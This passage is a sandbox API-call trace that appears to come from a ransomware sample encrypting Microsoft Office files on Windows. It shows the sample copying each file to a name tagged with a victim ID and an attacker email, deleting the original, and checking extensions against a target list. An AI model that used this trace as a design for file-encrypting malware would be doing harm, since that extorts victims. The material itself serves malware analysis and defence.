Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0040.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.536] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.537] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0040.537] GetLastError () returned 0x0 [0040.537] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1915, lpOverlapped=0x0) returned 1 [0040.538] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0040.540] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.540] WriteFile (in: hFile=0x1cc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0040.540] SetEndOfFile (hFile=0x1cc) returned 1 [0040.540] CloseHandle (hObject=0x1cc) returned 1 [0040.541] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.541] SetEndOfFile (hFile=0x1ac) returned 1 [0040.541] CloseHandle (hObject=0x1ac) returned 1 [0040.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.542] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0040.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.542] lstrlenW (lpString=".doc") returned 4 [0040.542] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.542] lstrlenW (lpString=".docx") returned 5 [0040.542] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.542] lstrlenW (lpString=".pdf") returned 4 [0040.542] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.542] lstrlenW (lpString=".xls") returned 4 [0040.542] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.542] lstrlenW (lpString=".xlsx") returned 5 [0040.542] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.542] lstrlenW (lpString=".ppt") returned 4 [0040.542] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.542] lstrlenW (lpString=".zip") returned 4 [0040.542] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.542] lstrlenW (lpString=".rar") returned 4 [0040.542] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.542] lstrlenW (lpString=".bz2") returned 4 [0040.542] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.542] lstrlenW (lpString=".7z") returned 3 [0040.542] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.543] lstrlenW (lpString=".dbf") returned 4 [0040.543] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.543] lstrlenW (lpString=".1cd") returned 4 [0040.543] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.543] lstrlenW (lpString=".jpg") returned 4 [0040.543] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.543] lstrlenW (lpString=".doc") returned 4 [0040.543] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString=".docx") returned 5 [0040.543] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0040.543] lstrlenW (lpString=".pdf") returned 4 [0040.543] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString=".xls") returned 4 [0040.543] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString=".xlsx") returned 5 [0040.543] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0040.543] lstrlenW (lpString=".ppt") returned 4 [0040.543] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.543] lstrlenW (lpString=".zip") returned 4 [0040.543] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.543] lstrlenW (lpString=".rar") returned 4 [0040.543] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString=".bz2") returned 4 [0040.543] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.543] lstrlenW (lpString=".7z") returned 3 [0040.543] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.543] lstrlenW (lpString=".dbf") returned 4 [0040.544] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.544] lstrlenW (lpString=".1cd") returned 4 [0040.544] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0040.544] lstrlenW (lpString=".jpg") returned 4 [0040.544] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.544] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.544] lstrlenW (lpString="SETUP.XML") returned 9 [0040.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.902] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1608) returned 1 [0040.902] CloseHandle (hObject=0x1d8) returned 1 [0040.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0040.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0040.902] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.902] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.903] GetLastError () returned 0x0 [0040.903] ReadFile (in: hFile=0x1d8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x648, lpOverlapped=0x0) returned 1 [0041.213] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x650, lpOverlapped=0x0) returned 1 [0041.214] ReadFile (in: hFile=0x1d8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.214] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.214] SetEndOfFile (hFile=0x1f4) returned 1 [0041.214] CloseHandle (hObject=0x1f4) returned 1 [0041.215] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.215] SetEndOfFile (hFile=0x1d8) returned 1 [0041.216] CloseHandle (hObject=0x1d8) returned 1 [0041.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.216] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0041.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.216] lstrlenW (lpString=".doc") returned 4 [0041.216] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.216] lstrlenW (lpString=".docx") returned 5 [0041.216] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.217] lstrlenW (lpString=".pdf") returned 4 [0041.217] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString=".xls") returned 4 [0041.217] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString=".xlsx") returned 5 [0041.217] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.217] lstrlenW (lpString=".ppt") returned 4 [0041.217] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.217] lstrlenW (lpString=".zip") returned 4 [0041.217] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.217] lstrlenW (lpString=".rar") returned 4 [0041.217] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString=".bz2") returned 4 [0041.217] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString=".7z") returned 3 [0041.217] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.217] lstrlenW (lpString=".dbf") returned 4 [0041.217] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.217] lstrlenW (lpString=".1cd") returned 4 [0041.217] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.217] lstrlenW (lpString=".jpg") returned 4 [0041.217] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.217] lstrlenW (lpString=".doc") returned 4 [0041.217] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.217] lstrlenW (lpString=".docx") returned 5 [0041.217] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.218] lstrlenW (lpString=".pdf") returned 4 [0041.218] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.218] lstrlenW (lpString=".xls") returned 4 [0041.218] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.218] lstrlenW (lpString=".xlsx") returned 5 [0041.218] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.218] lstrlenW (lpString=".ppt") returned 4 [0041.218] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.218] lstrlenW (lpString=".zip") returned 4 [0041.218] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.218] lstrlenW (lpString=".rar") returned 4 [0041.218] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.218] lstrlenW (lpString=".bz2") returned 4 [0041.218] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.218] lstrlenW (lpString=".7z") returned 3 [0041.218] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.218] lstrlenW (lpString=".dbf") returned 4 [0041.218] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.218] lstrlenW (lpString=".1cd") returned 4 [0041.218] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0041.218] lstrlenW (lpString=".jpg") returned 4 [0041.218] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.218] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0041.218] lstrlenW (lpString="Bears.htm") returned 9 [0041.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.354] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=255) returned 1 [0041.354] CloseHandle (hObject=0x1c4) returned 1 [0041.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0041.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.354] lstrlenW (lpString=".doc") returned 4 [0041.354] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0041.354] lstrlenW (lpString=".docx") returned 5 [0041.354] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0041.354] lstrlenW (lpString=".pdf") returned 4 [0041.354] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0041.354] lstrlenW (lpString=".xls") returned 4 [0041.354] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0041.354] lstrlenW (lpString=".xlsx") returned 5 [0041.354] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0041.354] lstrlenW (lpString=".ppt") returned 4 [0041.354] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.355] lstrlenW (lpString=".zip") returned 4 [0041.355] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0041.355] lstrlenW (lpString=".rar") returned 4 [0041.355] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0041.355] lstrlenW (lpString=".bz2") returned 4 [0041.355] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0041.355] lstrlenW (lpString=".7z") returned 3 [0041.355] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.355] lstrlenW (lpString=".dbf") returned 4 [0041.355] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.355] lstrlenW (lpString=".1cd") returned 4 [0041.355] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.355] lstrlenW (lpString=".jpg") returned 4 [0041.355] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.355] lstrlenW (lpString=".doc") returned 4 [0041.355] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0041.355] lstrlenW (lpString=".docx") returned 5 [0041.355] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0041.355] lstrlenW (lpString=".pdf") returned 4 [0041.355] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0041.355] lstrlenW (lpString=".xls") returned 4 [0041.355] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0041.355] lstrlenW (lpString=".xlsx") returned 5 [0041.355] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0041.355] lstrlenW (lpString=".ppt") returned 4 [0041.355] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.356] lstrlenW (lpString=".zip") returned 4 [0041.356] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0041.356] lstrlenW (lpString=".rar") returned 4 [0041.356] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0041.356] lstrlenW (lpString=".bz2") returned 4 [0041.356] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0041.356] lstrlenW (lpString=".7z") returned 3 [0041.356] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.356] lstrlenW (lpString=".dbf") returned 4 [0041.356] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.356] lstrlenW (lpString=".1cd") returned 4 [0041.356] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0041.356] lstrlenW (lpString=".jpg") returned 4 [0041.356] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0041.356] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1 [0041.356] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0041.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0041.356] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4587) returned 1 [0041.357] CloseHandle (hObject=0x1c4) returned 1 [0041.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0041.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.357] lstrlenW (lpString=".doc") returned 4 [0041.357] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0041.357] lstrlenW (lpString=".docx") returned 5 [0041.357] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0041.357] lstrlenW (lpString=".pdf") returned 4 [0041.357] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0041.357] lstrlenW (lpString=".xls") returned 4 [0041.357] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0041.357] lstrlenW (lpString=".xlsx") returned 5 [0041.357] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0041.357] lstrlenW (lpString=".ppt") returned 4 [0041.357] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0041.357] lstrlenW (lpString=".zip") returned 4 [0041.357] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0041.357] lstrlenW (lpString=".rar") returned 4 [0041.357] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0041.357] lstrlenW (lpString=".bz2") returned 4 [0041.357] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0041.357] lstrlenW (lpString=".7z") returned 3 [0041.357] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0041.357] 